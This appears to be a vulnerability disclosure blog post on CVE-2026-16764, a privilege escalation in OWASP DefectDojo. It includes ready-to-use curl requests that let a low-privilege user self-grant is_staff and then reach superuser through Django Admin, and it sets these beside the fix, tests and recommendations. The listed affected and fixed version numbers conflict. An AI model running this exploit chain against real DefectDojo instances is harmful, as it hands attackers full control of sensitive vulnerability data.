> ## Content Index
> Fetch the complete content index at: https://yokai.hakaisecurity.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# [EN] CVE-2026-16764: Missing validation, full access
- URL: https://yokai.hakaisecurity.io/en-cve-2026-16764-missing-validation-full-access/
- Published: 2026-09-25T20:03:20.000Z
- Updated: 2026-09-25T20:03:20.000Z
- Author: 0xNosferatu
- Tags: en, Research Blog, #pair-16764

**OWASP DefectDojo** is an open-source vulnerability management platform widely used by security teams to centralize, track, and prioritize findings from various scanning tools. Because it handles extremely sensitive data such as vulnerability reports, infrastructure configurations, and security metrics, the platform implements a Role-Based Access Control (RBAC) model.

However, a flaw in the validation of privileged fields in the REST API allowed a user with limited delegated permissions to escalate to superuser, completely compromising the application's security model.

---

## Technical Analysis

### Vulnerability Summary

The vulnerability has been cataloged as CVE-2026-16764, with advisory GHSA-w2j3-x3j3-mm43\. It has a CVSS 3.1 score of 7.8 (High) and is classified under CWE-269 (Improper Privilege Management). The affected version is 2.59.0, and fixes are available in versions 2.58.3, 2.58.4, and 3.0.0.

### Prerequisites

- Authenticated DefectDojo account with a low-privilege user
- Delegated permission `Configuration → Users (change)` (`auth.change_user`)
- Access to REST API (`/api/v2/`)

---

## The Role of `is_staff` in DefectDojo

To understand the severity of this vulnerability, it is essential to comprehend what the `is_staff` flag represents in the DefectDojo context.

According to the official documentation:

> *"Users marked as superuser or staff in DefectDojo can see and act on every Asset and Organization regardless of the Authorized Users lists."*

This means that `is_staff` **is not just a cosmetic administrative flag**, it grants **complete RBAC bypass**. A user with `is_staff=true`:

- Views **all** Products, Engagements, Tests, and Findings
- Can edit/delete any record, regardless of team permissions
- Accesses the Django Admin panel (`/admin/`)
- Controls authorized user lists

In summary: `is_staff` is, functionally, **almost equivalent to superuser**.

---

## Vulnerable Code

The vulnerability resides in the file `dojo/api_v2/serializers.py`, in the `UserSerializer` class.

### The Problem: Incomplete Validation

The serializer exposed both `is_staff` and `is_superuser` as editable fields, but **only validated changes to `is_superuser`**:

```python
# dojo/api_v2/serializers.py - UserSerializer

class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = Dojo_User
        fields = (
            "id", "username", "first_name", "last_name", "email",
            "is_active", "is_staff", "is_superuser",  # Both exposed
            # ...
        )

    def validate(self, data):
        # ...
        instance_is_superuser = self.instance.is_superuser if self.instance else False
        data_is_superuser = data.get("is_superuser", instance_is_superuser)
        
        if not self.context["request"].user.is_superuser and (
            instance_is_superuser or data_is_superuser
        ):
            raise ValidationError(
                "Only superusers are allowed to add or edit superusers."
            )
        
        # THIS IS WHERE THERE IS NO EQUIVALENT VALIDATION FOR is_staff!
        return data

```

### The Django Admin Bypass

Additionally, access to the Django Admin panel (`/admin/`) was controlled by Django's default check:

```python
# here is where the default Django behavior happens
def has_permission(request):
    return request.user.is_active and request.user.is_staff

```

The default Django Admin exposes the user edit form (`UserAdmin`), which **allows any staff user with `auth.change_user` to edit the `is_superuser` checkbox**, a well-known Django footgun.

### The Authorization Bypass

The file `dojo/authorization/query_registrations.py` confirms that `is_staff` is treated as superuser for authorization purposes:

```python
# dojo/authorization/query_registrations.py

def _is_unrestricted(user, action):
    # ...
    if user.is_superuser:
        return True
    return bool(user.is_staff)  # Here we can see that Staff bypasses ALL RBAC

```

---

## Exploitation

The exploitation occurs in two phases:

### Phase 1: Self-Elevation to Staff via API

A user with only `auth.change_user` can modify their own `is_staff`:

1. We need to obtain the authentication token

```bash
LOW_TOKEN=$(curl -s -X POST \
  "http://[DEFECTDOJO]/api/v2/api-token-auth/" \
  -H "Content-Type: application/json" \
  --data '{"username":"attacker","password":"password123"}' \
  | jq -r .token)

```

1. Let's confirm that is\_superuser is blocked (this is the expected behavior)

```bash
curl -s -X PATCH \
  "http://[DEFECTDOJO]/api/v2/users/[USER_ID]/" \
  -H "Authorization: Token $LOW_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{"is_superuser":true}'

```

The response will be a JSON containing the message: "Only superusers are allowed to add or edit superusers."

1. After that, we can set is\_staff

```bash
curl -s -X PATCH \
  "http://[DEFECTDOJO]/api/v2/users/[USER_ID]/" \
  -H "Authorization: Token $LOW_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{"is_staff":true}'

```

The response will be: 200 OK - User is now staff!

### Phase 2: Escalation to Superuser via Django Admin

With `is_staff=true`, the attacker now has access to `/admin/`:

1. Access `http://[DEFECTDOJO]/admin/`
2. Navigate to `Auth → Users → [your user]`
3. Check the `is_superuser` checkbox
4. Save

The default `UserAdmin` form does not block this action for staff users with `change_user`, **completing the escalation to superuser**.

### Result

The video below demonstrates the complete exploitation, from an account with minimal privileges to full access as superuser.

0:00 

/1:38 

1× 

Based on this, an exploit was created to automatically exploit privilege escalation in the app.

![](https://yokai.hakaisecurity.io/content/images/2026/09/asd-1.png)

---

## Impact

Successful exploitation results in **complete and persistent control** of the DefectDojo instance:

| Impact              | Description                                                                         |
| ------------------- | ----------------------------------------------------------------------------------- |
| **Confidentiality** | Access to **all** findings, vulnerability reports, and scanning data from all teams |
| **Integrity**       | Ability to modify, delete, or hide critical findings                                |
| **Availability**    | Possibility of corrupting data or blocking access for other users                   |
| **Persistence**     | Creation of backdoors via new superusers                                            |

### Attack Scenarios

1. **Insider Threat**: Employee with limited access escalates privileges to access data from other teams
2. **Account Compromise**: Attacker who compromises a "helpdesk" account escalates to full control
3. **Supply Chain**: In multi-tenant environments, a malicious client compromises data from other clients

---

## Implemented Fix

The fix was implemented in commit `68a272f` and PR #14952.

### 1\. `is_staff` Validation in UserSerializer

```python
# dojo/api_v2/serializers.py - FIXED

def validate(self, data):
    request = self.context["request"]
    
    # Existing validation for is_superuser
    instance_is_superuser = self.instance.is_superuser if self.instance else False
    data_is_superuser = data.get("is_superuser", instance_is_superuser)
    if not request.user.is_superuser and (instance_is_superuser or data_is_superuser):
        raise ValidationError("Only superusers are allowed to add or edit superusers.")
    
    # NEW: Equivalent validation for is_staff
    instance_is_staff = self.instance.is_staff if self.instance else False
    data_is_staff = data.get("is_staff", instance_is_staff)
    if not request.user.is_superuser and data_is_staff != instance_is_staff:
        raise ValidationError("Only superusers are allowed to add or edit staff users.")
    
    return data

```

### 2\. Django Admin Restricted to Superusers

```python
# dojo/admin.py - FIXED

def _admin_site_has_permission(request):
    # Before: is_active and is_staff
    # After: ONLY superusers
    return request.user.is_active and request.user.is_superuser

admin.site.has_permission = _admin_site_has_permission

```

### 3\. Django Admin Disabled by Default

```python
# dojo/settings/settings.dist.py

# Before
DD_DJANGO_ADMIN_ENABLED = (bool, True)

# After
DD_DJANGO_ADMIN_ENABLED = (bool, False)

```

### 4\. Unit Tests Added

The PR included 169 lines of tests covering:

- Rejection of `is_staff` self-elevation
- Rejection of third-party elevation
- Rejection of creation with `is_staff=True`
- Permission for superusers (positive control)
- Blocking of non-superuser staff in `/admin/`

---

## Timeline

| Date           | Event                                   |
| -------------- | --------------------------------------- |
| **2026-06-02** | Vulnerability reported via HackerOne    |
| **2026-06-05** | Response received and finding validated |
| **2026-06-08** | Versions 2.58.3 and 3.0.0 released      |
| **2026-06-28** | Advisory GHSA-w2j3-x3j3-mm43 published  |
| **2026-07-23** | CVE-2026-16764 assigned                 |

---

## Recommendations

### For DefectDojo Administrators

1. **Update** to version 2.58.3, 2.58.4, or 3.0.0+
2. **Audit API logs** looking for PATCH requests to `/api/v2/users/` with `is_staff`
3. **Review users with is\_staff** and remove the flag from accounts that don't need it
4. **Keep DD\_DJANGO\_ADMIN\_ENABLED=false** unless absolutely necessary
5. **Implement monitoring** for changes to privileged flags

### For Developers

1. **Always validate all privileged fields**, not just the obvious ones
2. **Treat `is_staff` as equivalent to superuser** in Django applications
3. **Customize Django Admin** to restrict editing of sensitive fields
4. **Implement security tests** for privileged field validation
5. **Consider disabling Django Admin** in production

### Exposure Verification

```bash
# Check DefectDojo version
curl -s "http://[DEFECTDOJO]/api/v2/" | grep -i version

# Check if /admin/ is accessible
curl -s -I "http://[DEFECTDOJO]/admin/"

```

---

## Let's Practice

[Hacking Club](https://hackingclub.com/?ref=yokai.hakaisecurity.io) is a training platform focused on the practical development of cybersecurity professionals. The **Dojo** challenge replicates, in a controlled environment, a service vulnerable to the flaw discussed in this article, allowing researchers and professionals to reinforce the concepts presented by exploiting the vulnerability within a secure laboratory setting.

## References

- [Github Exploit - CVE-2026-16764](https://github.com/hakaioffsec/CVE-2026-16764?ref=yokai.hakaisecurity.io)
- [Challenge Dojo - Hackingclub](https://app.hackingclub.com/training/challenges/154?ref=yokai.hakaisecurity.io)
- [CVE-2026-16764 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-16764?ref=yokai.hakaisecurity.io)
- [GHSA-w2j3-x3j3-mm43 - GitHub Security Advisory](https://github.com/DefectDojo/django-DefectDojo/security/advisories/GHSA-w2j3-x3j3-mm43?ref=yokai.hakaisecurity.io)
- [PR #14952 - Fix Commit](https://github.com/DefectDojo/django-DefectDojo/pull/14952?ref=yokai.hakaisecurity.io)
- [Commit 68a272f](https://github.com/DefectDojo/django-DefectDojo/commit/68a272f299d096249fd3ba9c2676bf69012857bf?ref=yokai.hakaisecurity.io)
- [DefectDojo Documentation - Authorized Users](https://docs.defectdojo.com/admin/user%5Fmanagement/os%5F%5Fauthorized%5Fusers/?ref=yokai.hakaisecurity.io)
- [CWE-269: Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html?ref=yokai.hakaisecurity.io)

## Authors

- [Vivaldo (Nosferatu) Chagas ](https://www.instagram.com/nosferatu.vjr/?ref=yokai.hakaisecurity.io)
- [Lucas (Ah, não!) Dantas](https://www.instagram.com/ah%5Fnao%5Ftech/?ref=yokai.hakaisecurity.io)